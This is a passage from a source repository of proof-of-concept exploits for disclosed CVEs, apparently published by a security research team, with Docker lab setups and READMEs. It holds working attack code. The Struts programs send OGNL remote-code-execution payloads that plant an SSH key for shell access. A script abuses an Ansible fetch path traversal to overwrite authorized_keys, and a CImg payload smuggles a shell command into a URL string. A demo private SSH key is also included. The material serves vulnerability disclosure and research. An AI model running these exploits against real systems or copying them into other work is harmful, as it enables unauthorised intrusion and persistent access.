├── .gitignore ├── Ansible └── fetch_CVE-2019-3828 │ ├── README.md │ ├── server │ ├── Dockerfile │ └── home │ │ ├── .ssh │ │ └── authorized_keys │ │ └── scripts │ │ ├── bashrc │ │ └── enable_exploit.sh │ └── zeuss │ ├── Dockerfile │ └── home │ ├── .ssh │ ├── id_ed25519 │ └── id_ed25519.pub │ └── config │ ├── ansible.cfg │ ├── inventory.d │ └── inventory │ └── myfetch.yml ├── Apache └── Struts │ └── CVE-2018-11776 │ ├── README.md │ ├── struts-attacker │ ├── Dockerfile │ └── src │ │ ├── Makefile │ │ ├── copykey.c │ │ ├── startcalc.c │ │ ├── utils.c │ │ └── utils.h │ └── struts-server │ ├── Dockerfile │ └── struts-actionchaining.xml ├── CImg ├── Dockerfile ├── README.md └── poc.c ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── COPYRIGHT ├── Facebook └── Fizz │ └── CVE-2019-3560 │ ├── README.md │ ├── attacker │ ├── Dockerfile │ └── home │ │ ├── diff.txt │ │ └── poc │ │ ├── Makefile │ │ └── poc.c │ └── server │ ├── Dockerfile │ └── home │ └── certs │ ├── ca.config │ ├── clean.sh │ ├── create-certs.sh │ └── server.config ├── LICENSE ├── Microsoft └── ChakraCore │ └── CVE-2017-0141 │ ├── README.md │ └── cve-2017-0141.js ├── README.md ├── Ubuntu └── Apport_TOCTOU_get_ignore_dom_CVE-2019-7307 │ ├── .gitignore │ ├── Makefile │ ├── README.md │ ├── gencrashreport.cpp │ ├── killwhoopsie1.cpp │ ├── utils.cpp │ └── utils.hpp ├── apple └── darwin-xnu │ ├── DTrace │ └── CVE-2017-13782 │ │ ├── README.md │ │ └── cve-2017-13782-poc.c │ ├── icmp_error_CVE-2018-4407 │ ├── .gitignore │ ├── Makefile │ ├── README.md │ ├── crash_all.c │ ├── direct_attack.c │ ├── send_packet.c │ ├── send_packet.h │ ├── utils.c │ └── utils.h │ ├── nfs_vfsops_CVE-2018-4259 │ ├── .gitignore │ ├── Makefile │ ├── README.md │ ├── kevfs.c │ └── nfs.x │ └── packet_mangler_CVE-2017-13904 │ ├── README.md │ └── cve-2017-13904-poc.c ├── libssh2 └── out_of_bounds_read_kex_CVE-2019-13115 │ ├── README.md │ ├── client │ ├── Dockerfile │ └── home │ │ └── .tmux.conf │ └── server │ ├── Dockerfile │ └── home │ ├── .tmux.conf │ └── diff.txt ├── rsyslog └── CVE-2018-1000140_snprintf_librelp │ ├── Dockerfile │ ├── README.md │ ├── benevolent │ ├── certs │ │ ├── ca.config │ │ ├── clean.sh │ │ ├── client.config │ │ ├── create-certs.sh │ │ └── server.config │ ├── rsyslog-client.conf │ └── rsyslog-server.conf │ ├── build-all.sh │ └── malicious │ ├── kevcertz │ ├── clean.sh │ ├── client.config │ └── create-certz.sh │ └── rsyslog-client.conf ├── strongSwan └── CVE-2018-5388 │ ├── Dockerfile │ ├── README.md │ └── stroke_patch.txt └── vivo-project └── CVE-2019-6986 ├── README.md ├── vivo-attacker ├── Dockerfile └── post.sh └── vivo-server ├── Dockerfile └── init_mysql.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/README.md: -------------------------------------------------------------------------------- 1 | # Path traversal vulnerability in Ansible fetch module (CVE-2019-3828) 2 | 3 | This directory contains a proof-of-concept exploit for [CVE-2019-3828](https://access.redhat.com/security/cve/cve-2019-3828), a path-traversal vulnerability in Ansible's [fetch module](https://docs.ansible.com/ansible/latest/modules/fetch_module.html). The scenario for the demo is that there are two computers, named "server" and "zeuss". The former is a member of a server farm managed using Ansible. The latter machine belongs to a systems adminstrator who is responsible for managing the server farm. The system administrator's username is "bofh". Now imagine that an attacker has managed to infiltrate one of the server machines and is able to run arbitrary commands as the "bofh" user. But the attacker does not know bofh's password, so is not able to access other user accounts, or other computers, such as zeuss. 4 | 5 | Ansible's fetch module is used to copy files from the servers back to the system adminstrator's computer. In this demo, the system administrator is going to download `.ssh/authorized_keys` from the server to check that it hasn't been tampered with. But the attacker is going to exploit a path traversal vulnerability in the fetch module and overwrite the system administrator's own `.ssh/authorized_keys`. 6 | 7 | The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions. 8 | 9 | ## Network setup 10 | 11 | Create a docker network bridge, to simulate a network with two separate computers. 12 | 13 | ``` 14 | docker network create -d bridge --subnet 172.16.0.0/16 ansible-demo-network 15 | ``` 16 | 17 | ## Server setup 18 | 19 | Build the docker image: 20 | 21 | ``` 22 | docker build ./server -t ansible-server 23 | ``` 24 | 25 | Start the container: 26 | 27 | ``` 28 | docker run --rm --network ansible-demo-network --ip=172.16.0.10 -h server -i -t ansible-server 29 | ``` 30 | 31 | Inside the container, start `sshd` to enable remote access from zeuss. 32 | 33 | ``` 34 | tmux # this step is optional: it enables you to open multiple terminals inside docker 35 | sudo service ssh start # sudo password is "x" (this is the only time that sudo is used) 36 | ``` 37 | 38 | ## Zeuss setup 39 | 40 | In a new terminal, build the docker image for zeuss. 41 | 42 | ``` 43 | docker build ./zeuss -t ansible-zeuss 44 | ``` 45 | 46 | Start the container: 47 | 48 | ``` 49 | docker run --rm --network ansible-demo-network --ip=172.16.0.11 -h zeuss -i -t ansible-zeuss 50 | ``` 51 | 52 | Inside the container: 53 | 54 | ``` 55 | source ./ansible/hacking/env-setup # Add Ansible to the path 56 | tmux # this step is optional: it enables you to open multiple terminals inside docker 57 | sudo service ssh start # sudo password is "x" 58 | ``` 59 | 60 | ## Running the exploit 61 | 62 | First, let us see how the fetch module is *supposed* to work. On zeuss, run the following commands: 63 | 64 | ``` 65 | cd /home/bofh/config 66 | ansible-playbook myfetch.yml 67 | ``` 68 | 69 | This copies `authorized_keys` from the server to the following locatino on `zeuss`: 70 | 71 | ``` 72 | /home/bofh/config/fetched/172.16.0.10/home/bofh/.ssh/authorized_keys 73 | ``` 74 | 75 | Note that the file has been placed safely in a subdirectory of the current directory. 76 | 77 | Now let's enable the exploit on the server. Run the following commands on the server: 78 | 79 | ``` 80 | ssh-keygen -t ed25519 -f /home/bofh/.ssh/id_ed25519 # Create a new ssh key 81 | cat /home/bofh/.ssh/id_ed25519.pub >> /home/bofh/.ssh/authorized_keys # Add new key to authorized_keys 82 | cd /home/bofh/scripts 83 | ./enable_exploit.sh 84 | ``` 85 | 86 | Now go back to zeuss and run the same fetch playbook as before: 87 | 88 | ``` 89 | cd /home/bofh/config 90 | ansible-playbook myfetch.yml 91 | ``` 92 | 93 | The `authorized_keys` file has now been overwritten. Which means that the attacker can ssh into zeuss. Run this command on the server: 94 | 95 | ``` 96 | ssh 172.16.0.11 97 | ``` 98 | 99 | The attacker has a shell on zeuss! 100 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y \ 5 | ansible git curl zip unzip psmisc \ 6 | tmux sudo emacs openssh-server net-tools \ 7 | gcc 8 | 9 | # Create a user account named "bofh" (which will have sudo privileges). 10 | RUN adduser bofh --disabled-password 11 | 12 | # Grant the 'bofh' user sudo access (only so that we can start sshd). 13 | RUN adduser bofh sudo 14 | RUN echo "bofh:x" | chpasswd 15 | COPY home/ /home/bofh/ 16 | RUN chown -R bofh:bofh /home/bofh 17 | 18 | # Switch over to the 'bofh' user, since root access is no longer required 19 | USER bofh 20 | WORKDIR /home/bofh 21 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/server/home/.ssh/authorized_keys: -------------------------------------------------------------------------------- 1 | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss 2 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/server/home/scripts/bashrc: -------------------------------------------------------------------------------- 1 | cd /home/bofh/k/e/v/w/o/z/e/r/e 2 | export HOME=../../../../../../../../../home/bofh 3 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/server/home/scripts/enable_exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | mkdir -p /home/bofh/k/e/v/w/o/z/e/r/e 3 | mkdir -p /home/bofh/home 4 | ln -s /home/bofh/ /home/bofh/home/bofh 5 | cd /home/bofh/scripts 6 | cp /home/bofh/scripts/bashrc /home/bofh/.bashrc 7 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/zeuss/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y \ 5 | git curl zip unzip psmisc \ 6 | tmux sudo emacs openssh-server net-tools x11-apps \ 7 | build-essential libssl-dev libffi-dev python-dev \ 8 | python-setuptools python-jinja2 python-yaml 9 | 10 | # Create a non-root user account to run Ansible. 11 | RUN adduser bofh --disabled-password 12 | 13 | # Grant the 'bofh' user sudo access, so that we can start sshd. 14 | RUN adduser bofh sudo 15 | RUN echo "bofh:x" | chpasswd 16 | COPY home/ /home/bofh/ 17 | RUN chown -R bofh:bofh /home/bofh 18 | 19 | # Switch over to the 'bofh' user, since root access is no longer required 20 | USER bofh 21 | WORKDIR /home/bofh 22 | 23 | # Get vulnerable version of Ansible source code. 24 | RUN git clone https://github.com/ansible/ansible.git && \ 25 | cd ansible && \ 26 | git checkout f9f7b29a5a5543e8d1c25e8cc1f2d3040d8536b7 27 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519: -------------------------------------------------------------------------------- 1 | -----BEGIN OPENSSH PRIVATE KEY----- 2 | b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 3 | QyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEwAAAJDuQrmQ7kK5 4 | kAAAAAtzc2gtZWQyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEw 5 | AAAEATobJL9MLSQNtHem7bzn8zp7dLWqdqP5VQo3Ma61L9+eMlKzkE3eZi8hNuNzp03Jz9 6 | 5dBu6621V8HstIJJgisTAAAACmJvZmhAemV1c3MBAgM= 7 | -----END OPENSSH PRIVATE KEY----- 8 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/zeuss/home/.ssh/id_ed25519.pub: -------------------------------------------------------------------------------- 1 | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss 2 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/zeuss/home/config/ansible.cfg: -------------------------------------------------------------------------------- 1 | [defaults] 2 | inventory = inventory.d 3 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/zeuss/home/config/inventory.d/inventory: -------------------------------------------------------------------------------- 1 | [servers] 2 | 172.16.0.10 3 | -------------------------------------------------------------------------------- /Ansible/fetch_CVE-2019-3828/zeuss/home/config/myfetch.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - hosts: servers 3 | tasks: 4 | - name: Fetch authorized_keys 5 | fetch: 6 | src: ~/.ssh/authorized_keys 7 | dest: fetched 8 | -------------------------------------------------------------------------------- /Apache/Struts/CVE-2018-11776/README.md: -------------------------------------------------------------------------------- 1 | # Remote code execution in Apache Struts (CVE-2018-11776) 2 | 3 | This directory contains a proof-of-concept exploit for a remote code execution vulnerability in [Apache Struts](https://struts.apache.org/). The vulnerability was fixed in versions 2.3.35 and 2.5.17. 4 | 5 | To demonstrate the PoC in a safe environment, we will use two docker containers connected by a docker network bridge to simulate two separate computers: the first is the Struts server and the second is the attacker's computer. The Struts server uses Struts version 2.5.16, which contains the vulnerability. 6 | 7 | We have tried to make the `Dockerfile`'s for the server and attacker as simple as possible, to make it clear that we have used vanilla [Ubuntu 18.04](http://releases.ubuntu.com/18.04/) with no unusual packages installed. 8 | 9 | We have created two versions of the PoC. The first version enables the attacker to get a shell on the server. The PoC is a little simplistic because it assumes that the server has its ssh port 22 exposed to the public internet. A more realistic attack would probably involve getting the server to connect out to a webserver controlled by the attacker. It would be straightforward to modify the PoC to do that. The second version of the PoC pops a calculator. 10 | 11 | ## Network setup 12 | 13 | Create a docker network bridge, to simulate a network with two separate computers. 14 | 15 | ``` 16 | docker network create -d bridge --subnet 172.16.0.0/16 struts-demo-network 17 | ``` 18 | 19 | ## Struts server setup 20 | 21 | Build the docker image: 22 | 23 | ``` 24 | cd struts-server 25 | docker build . -t struts-server --build-arg UID=`id -u` 26 | ``` 27 | 28 | Start the container: 29 | 30 | ``` 31 | docker run --rm --network struts-demo-network --ip=172.16.0.10 -h struts-server --publish 8080:8080 -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -i -t struts-server 32 | ``` 33 | 34 | Note: the `--publish`, `-e`, and `-v` command line arguments are optional. The `--publish` argument exposes port 8080 so that we can open the Struts showcase app in a web-browser. The `-e` and `-v` arguments enable the container to access X11, which is necessary for popping a calculator. 35 | 36 | Inside the container, start Struts and sshd. The reason for starting sshd is that we are going to use it to get a shell on the Struts server. We think it is realistic for sshd to be running because it is very widely used by system administrators for remote access. 37 | 38 | ``` 39 | ./apache-tomcat-9.0.12/bin/catalina.sh start 40 | sudo service ssh start # sudo password is "x" 41 | ``` 42 | 43 | At this point, you can check that Struts is running by visiting [http://127.0.0.1:8080/struts2-showcase](http://127.0.0.1:8080/struts2-showcase) in your browser. (We exposed port 8080 on the docker container.) 44 | 45 | ## Attacker setup 46 | 47 | Build the docker image: 48 | 49 | ``` 50 | cd struts-attacker 51 | docker build . -t struts-attacker 52 | ``` 53 | 54 | Start the container: 55 | 56 | ``` 57 | docker run --rm --network struts-demo-network --ip=172.16.0.11 -h struts-attacker -i -t struts-attacker 58 | ``` 59 | 60 | Inside the container, use `copykey` to copy the attacker's ssh key into the server's `authorized_keys` file. Then use `ssh` to login. 61 | 62 | ``` 63 | ./src/copykey http://172.16.0.10:8080/struts2-showcase 64 | ssh victim@172.16.0.10 65 | ``` 66 | 67 | We have a shell! 68 | 69 | Alternatively, you can start a calculator like this: 70 | 71 | ``` 72 | ./src/startcalc http://172.16.0.10:8080/struts2-showcase 73 | ``` 74 | -------------------------------------------------------------------------------- /Apache/Struts/CVE-2018-11776/struts-attacker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y curl tmux emacs net-tools gcc ssh build-essential 5 | 6 | # Create user account for the attacker. 7 | RUN adduser attacker --disabled-password 8 | 9 | # Copy the exploit PoC into the attacker's home directory. 10 | COPY src /home/attacker/src 11 | RUN chown -R attacker:attacker /home/attacker/src 12 | 13 | # Switch over to the 'attacker' user, since root access is no longer required 14 | USER attacker 15 | WORKDIR /home/attacker 16 | RUN cd src && make 17 | 18 | # Create an ssh key for the attacker. 19 | RUN ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -q -P "" 20 | -------------------------------------------------------------------------------- /Apache/Struts/CVE-2018-11776/struts-attacker/src/Makefile: -------------------------------------------------------------------------------- 1 | all: copykey startcalc 2 | 3 | clean: 4 | rm -f *.o copykey startcalc 5 | 6 | copykey: copykey.o utils.o 7 | gcc -Wall copykey.o utils.o -o copykey 8 | 9 | startcalc: startcalc.o utils.o 10 | gcc -Wall startcalc.o utils.o -o startcalc 11 | 12 | copykey.o: copykey.c utils.h 13 | gcc -c copykey.c 14 | 15 | startcalc.o: startcalc.c utils.h 16 | gcc -c startcalc.c 17 | 18 | utils.o: utils.c utils.h 19 | gcc -c utils.c 20 | -------------------------------------------------------------------------------- /Apache/Struts/CVE-2018-11776/struts-attacker/src/copykey.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "utils.h" 7 | 8 | int main(int argc, char* argv[]) { 9 | if (argc < 2) { 10 | printf("usage example: http://172.16.0.10:8080/struts2-showcase\n"); 11 | return 1; 12 | } 13 | 14 | const char* url = argv[1]; 15 | 16 | // Scratch buffers for building the curl command line. 17 | char scratch1[2048]; 18 | char scratch2[2048]; 19 | char scratch3[2048]; 20 | char cmd[4096]; 21 | 22 | // First OGNL payload, which we need to urlencode and send to the Struts 23 | // server with curl. 24 | const char* url1 = 25 | "${(#_=#attr['struts.valueStack']).(#context=#_.getContext())." 26 | "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])." 27 | "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl." 28 | "OgnlUtil@class)).(#ognlUtil.setExcludedClasses(''))." 29 | "(#ognlUtil.setExcludedPackageNames(''))}"; 30 | 31 | // urlencode the first payload and send it to the Struts server. 32 | urlencode(scratch1, sizeof(scratch1), url1); 33 | snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1); 34 | system(cmd); 35 | 36 | // Second OGNL payload. We need to paste our ssh key into the middle of 37 | // this string and urlencode it. 38 | const char* url2A = 39 | "${(#_=#attr['struts.valueStack']).(#context=#_.getContext())." 40 | "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context." 41 | "setMemberAccess(#dm)).(#sl=@java.io.File@separator)." 42 | "(#p=new java.lang.ProcessBuilder({'bash','-c','echo -n \""; 43 | const char* url2B = 44 | "\">>\"$HOME\"/.ssh/authorized_keys'})).(#p.start())}"; 45 | 46 | // Load our ssh key. 47 | const int fd = open(".ssh/id_ed25519.pub", O_RDONLY); 48 | if (fd < 0) { 49 | printf("Could not open id_ed25519.pub\n"); 50 | return 1; 51 | } 52 | const int r = read(fd, scratch1, sizeof(scratch1)); 53 | if (r < 0) { 54 | printf("Could not read id_ed25519.pub\n"); 55 | return 1; 56 | } 57 | scratch1[r] = '\0'; 58 | 59 | // Escape any slash characters in the ssh key, to stop Tomcat from 60 | // intercepting them. 61 | escape_forward_slash(scratch2, sizeof(scratch2), scratch1); 62 | 63 | // Escape the slash characters in url2B. 64 | escape_forward_slash(scratch3, sizeof(scratch3), url2B); 65 | 66 | // urlencode the second payload and send it to the Struts server. 67 | snprintf(scratch1, sizeof(scratch1), "%s%s%s", url2A, scratch2, scratch3); 68 | urlencode(scratch2, sizeof(scratch2), scratch1); 69 | snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2); 70 | system(cmd); 71 | 72 | return 0; 73 | } 74 | -------------------------------------------------------------------------------- /Apache/Struts/CVE-2018-11776/struts-attacker/src/startcalc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "utils.h" 7 | 8 | // NOTE: 9 | // This exploit will not normally work if Struts is running in a docker 10 | // container, because you cannot pop a calculator from inside docker. There 11 | // are two ways to solve this problem. The first solution is to pass the 12 | // following extra arguments on the `docker run` command line, to enable X 13 | // applications to run from within the container: 14 | // 15 | // ``` 16 | // -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix 17 | // ``` 18 | // 19 | // The second solution is to run Struts outside of docker. The easiest way 20 | // to do this is to follow the instructions in the README for building 21 | // Struts in docker. Then just copy the tomcat directory out of docker. To 22 | // do that, start docker like this: 23 | // 24 | // ``` 25 | // docker run -v `pwd`:/home/victim/temp -i -t struts-server 26 | // ``` 27 | // 28 | // And inside docker, copy the tomcat directory into `temp` which is mapped 29 | // to the directory that you started docker from: 30 | // 31 | // ``` 32 | // cp -r apache-tomcat-9.0.12/ temp/ 33 | // ``` 34 | 35 | int main(int argc, char* argv[]) { 36 | if (argc < 2) { 37 | printf("usage example: http://172.16.0.10:8080/struts2-showcase\n"); 38 | return 1; 39 | } 40 | 41 | const char* url = argv[1]; 42 | 43 | // Scratch buffers for building the curl command line. 44 | char scratch1[2048]; 45 | char scratch2[2048]; 46 | char cmd[4096]; 47 | 48 | // First OGNL payload, which we need to urlencode and send to the Struts 49 | // server with curl. 50 | const char* url1 = 51 | "${(#_=#attr['struts.valueStack']).(#context=#_.getContext())." 52 | "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])." 53 | "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl." 54 | "OgnlUtil@class)).(#ognlUtil.setExcludedClasses(''))." 55 | "(#ognlUtil.setExcludedPackageNames(''))}"; 56 | 57 | // urlencode the first payload and send it to the Struts server. 58 | urlencode(scratch1, sizeof(scratch1), url1); 59 | snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1); 60 | system(cmd); 61 | 62 | // Second OGNL payload. We need to paste our ssh key into the middle of 63 | // this string and urlencode it. 64 | const char* url2 = 65 | "${(#_=#attr['struts.valueStack']).(#context=#_.getContext())." 66 | "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context." 67 | "setMemberAccess(#dm)).(#sl=@java.io.File@separator)." 68 | "(#p=new java.lang.ProcessBuilder({'bash','-c','xcalc'})).(#p.start())}"; 69 | 70 | // Escape any slash characters in the ssh key, to stop Tomcat from 71 | // intercepting them. 72 | escape_forward_slash(scratch1, sizeof(scratch1), url2); 73 | 74 | urlencode(scratch2, sizeof(scratch2), scratch1); 75 | snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2); 76 | system(cmd); 77 | 78 | return 0; 79 | } 80 | -------------------------------------------------------------------------------- /Apache/Struts/CVE-2018-11776/struts-attacker/src/utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "utils.h" 4 | 5 | // Replace / with '+#sl+'. This is needed to sneak / characters past Tomcat. 6 | // It is based on the assumption that the string will be enclosed in 7 | // single quotes. 8 | int escape_forward_slash(char* dst, size_t dstlen, const char* src) { 9 | for (;; src++) { 10 | const char c = *src; 11 | if (c == '\0') { 12 | if (dstlen < 1) { 13 | return -1; 14 | } 15 | *dst = '\0'; 16 | return 0; 17 | } else if (c == '/') { 18 | if (dstlen < 7) { 19 | return -1; 20 | } 21 | memcpy(dst, "'+#sl+'", 7); 22 | dst += 7; 23 | dstlen -= 7; 24 | } else { 25 | if (dstlen < 1) { 26 | return -1; 27 | } 28 | *dst = c; 29 | dst++; 30 | dstlen--; 31 | } 32 | } 33 | } 34 | 35 | int urlencode(char* dst, size_t dstlen, const char* src) { 36 | for (;; src++) { 37 | const char c = *src; 38 | if (c == '\0') { 39 | if (dstlen < 1) { 40 | return -1; 41 | } 42 | *dst = '\0'; 43 | return 0; 44 | } else if (('a' <= c && c <= 'z') || 45 | ('A' <= c && c <= 'Z') || 46 | ('0' <= c && c <= '9') || 47 | c == '-' || c == '_' || c == '.' || c == '~') { 48 | if (dstlen < 1) { 49 | return -1; 50 | } 51 | *dst = c; 52 | dst++; 53 | dstlen--; 54 | } else { 55 | if (dstlen < 3) { 56 | return -1; 57 | } 58 | sprintf(dst, "%%%.2x", c); 59 | dst += 3; 60 | dstlen -= 3; 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /Apache/Struts/CVE-2018-11776/struts-attacker/src/utils.h: -------------------------------------------------------------------------------- 1 | int escape_forward_slash(char* dst, size_t dstlen, const char* src); 2 | int urlencode(char* dst, size_t dstlen, const char* src); 3 | -------------------------------------------------------------------------------- /Apache/Struts/CVE-2018-11776/struts-server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y \ 5 | openjdk-8-jdk git curl zip unzip \ 6 | tmux sudo emacs maven openssh-server net-tools x11-apps 7 | 8 | ARG UID=1000 9 | 10 | # Create a non-root user account to run Struts. 11 | RUN adduser victim --disabled-password --uid $UID 12 | 13 | # Grant the 'victim' user sudo access, so that we can start sshd. 14 | RUN adduser victim sudo 15 | RUN echo "victim:x" | chpasswd 16 | 17 | # Switch over to the 'victim' user, since root access is no longer required 18 | USER victim 19 | WORKDIR /home/victim 20 | 21 | # Create an ssh authorized keys file. Systems administrators would add their 22 | # public key to this file so that they can login remotely with ssh. 23 | RUN mkdir -m 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys 24 | 25 | # Get Struts source code. 26 | RUN git clone https://github.com/apache/struts.git 27 | 28 | # Checkout vulnerable version. 29 | RUN cd struts && git branch struts_2_5_16 STRUTS_2_5_16 && git checkout struts_2_5_16 30 | 31 | # Remove namespace from configuration file. 32 | COPY struts-actionchaining.xml /home/victim/struts/apps/showcase/src/main/resources/struts-actionchaining.xml 33 | 34 | # Build Struts. 35 | RUN cd struts/apps/showcase && mvn clean package -DskipTests 36 | 37 | # Get Tomcat. 38 | RUN curl http://mirror.ox.ac.uk/sites/rsync.apache.org/tomcat/tomcat-9/v9.0.12/bin/apache-tomcat-9.0.12.zip -O 39 | RUN unzip apache-tomcat-9.0.12.zip && rm apache-tomcat-9.0.12.zip 40 | 41 | # Deploy the webapp. 42 | RUN cp struts/apps/showcase/target/struts2-showcase.war apache-tomcat-9.0.12/webapps/ 43 | RUN chmod 755 apache-tomcat-9.0.12/bin/catalina.sh 44 | -------------------------------------------------------------------------------- /Apache/Struts/CVE-2018-11776/struts-server/struts-actionchaining.xml: -------------------------------------------------------------------------------- 1 | 2 | 22 | 25 | 26 | 27 | 28 | 29 | register2 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /CImg/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y git gcc build-essential curl 5 | 6 | # Create user account for the attacker. 7 | RUN adduser semmle --disabled-password 8 | 9 | # Copy the exploit PoC into the user's home directory. 10 | COPY poc.c /home/semmle/poc.c 11 | RUN chown -R semmle:semmle /home/semmle/ 12 | 13 | # Switch over to the 'semmle' user, since root access is no longer required 14 | USER semmle 15 | WORKDIR /home/semmle 16 | RUN git clone https://framagit.org/dtschump/CImg.git 17 | RUN cd CImg && git checkout 5bb8a03d7fed06275ddb53a56c567fb6f61aa4a4 18 | -------------------------------------------------------------------------------- /CImg/README.md: -------------------------------------------------------------------------------- 1 | # Command injection in CImg 2 | 3 | This is a proof of concept for a command injection vulnerability in the [CImg](http://cimg.eu/) library. The vulnerability was found by [Cristian-Alexandru Staicu](https://www.linkedin.com/in/crstaicu/), during his internship at Semmle in 2018. We reported the vulnerability to David Tschumperle, maintainer of CImg, on Jul 27, 2018. The vulnerability was [fixed](https://github.com/dtschump/CImg/commit/5ce7a426b77f814973e56182a0e76a2b04904146) in version 2.3.4. 4 | 5 | The problem is that the `load_network` function does not do any sanitization on the url string. Internally, `load_network` calls `system`, which means that a specially crafted url can trigger code execution. Since CImg is a library, the severity of the issue depends greatly on how it is used. If anyone has written an application that calls `load_network` directly with a string that came from something like a HTTP request, then it would be a remote code execution vulnerability. 6 | 7 | To run the PoC, first build and run the docker image: 8 | 9 | ```bash 10 | docker build . -t cimg 11 | docker run -i -t cimg 12 | ``` 13 | 14 | The Dockerfile clones the [CImg](https://framagit.org/dtschump/CImg.git) git repository and checks out the vulnerable version. 15 | 16 | Now, inside docker, compile and run the PoC as follows: 17 | 18 | ```bash 19 | g++ -I./CImg poc.c -o poc 20 | ./poc 21 | ``` 22 | 23 | Notice that the file `~/CImg-RCE` has now been created. 24 | -------------------------------------------------------------------------------- /CImg/poc.c: -------------------------------------------------------------------------------- 1 | #undef cimg_display 2 | #define cimg_display 0 3 | #include "CImg.h" 4 | using namespace cimg_library; 5 | 6 | // To compile and run: 7 | // 8 | // g++ -I./CImg poc.c -o poc 9 | // ./poc 10 | // 11 | // Notice that the file ~/CImg-RCE has now been created. 12 | 13 | int main(int argc, char **argv) { 14 | const char *str = "https://i.pinimg.com/originals/da/25/51/da2551d47b8ae00fa7beb583bff53236.jpg\" && touch ~/CImg-RCE && echo \""; 15 | CImg<> img; 16 | img.assign(str); 17 | 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Code of Conduct 2 | 3 | This code of conduct outlines expectations for participation in the Semmle open source community, including any open source repositories on GitHub.com, as well as steps for reporting unacceptable behavior. We are committed to providing a welcoming and inspiring community for all. 4 | 5 | People violating this code of conduct may be banned from the community. 6 | 7 | Our community strives to: 8 | * Be friendly and patient: Remember you might not be communicating in someone else’s primary spoken or programming language, and others may not have your level of understanding. 9 | * Be welcoming: Our community welcomes and supports people of all backgrounds and identities. This includes, but is not limited to members of any race, ethnicity, culture, national origin, color, immigration status, social and economic class, educational level, sex, sexual orientation, gender identity and expression, age, size, family status, political belief, religion, and mental and physical ability. 10 | * Be respectful: We are a world-wide community of professionals, and we conduct ourselves professionally. Disagreement is no excuse for poor behavior and poor manners. Disrespectful and unacceptable behavior includes, but is not limited to: 11 | * Violent threats or language. 12 | * Discriminatory or derogatory jokes and language. 13 | * Posting sexually explicit or violent material. 14 | * Posting, or threatening to post, people’s personally identifying information (“doxing”). 15 | * Insults, especially those using discriminatory terms or slurs. 16 | * Behavior that could be perceived as sexual attention. 17 | * Advocating for or encouraging any of the above behaviors. 18 | * Understand disagreements: Disagreements, both social and technical, are useful learning opportunities. Seek to understand others’ viewpoints and resolve differences constructively. 19 | 20 | This code is not exhaustive or complete. It serves to capture our common understanding of a productive, collaborative environment. We expect the code to be followed in spirit as much as in the letter. 21 | 22 | # Scope 23 | 24 | This code of conduct applies to all repositories and communities for Semmle open source projects, regardless of whether or not the repository explicitly calls out its use of this code. The code also applies in public spaces when an individual is representing the Semmle open source community. Examples include using an official project email address, posting via an official social media account, or acting as an appointed representative at an online or offline event. 25 | 26 | 27 | # Reporting Code of Conduct Issues 28 | We encourage members of the community to 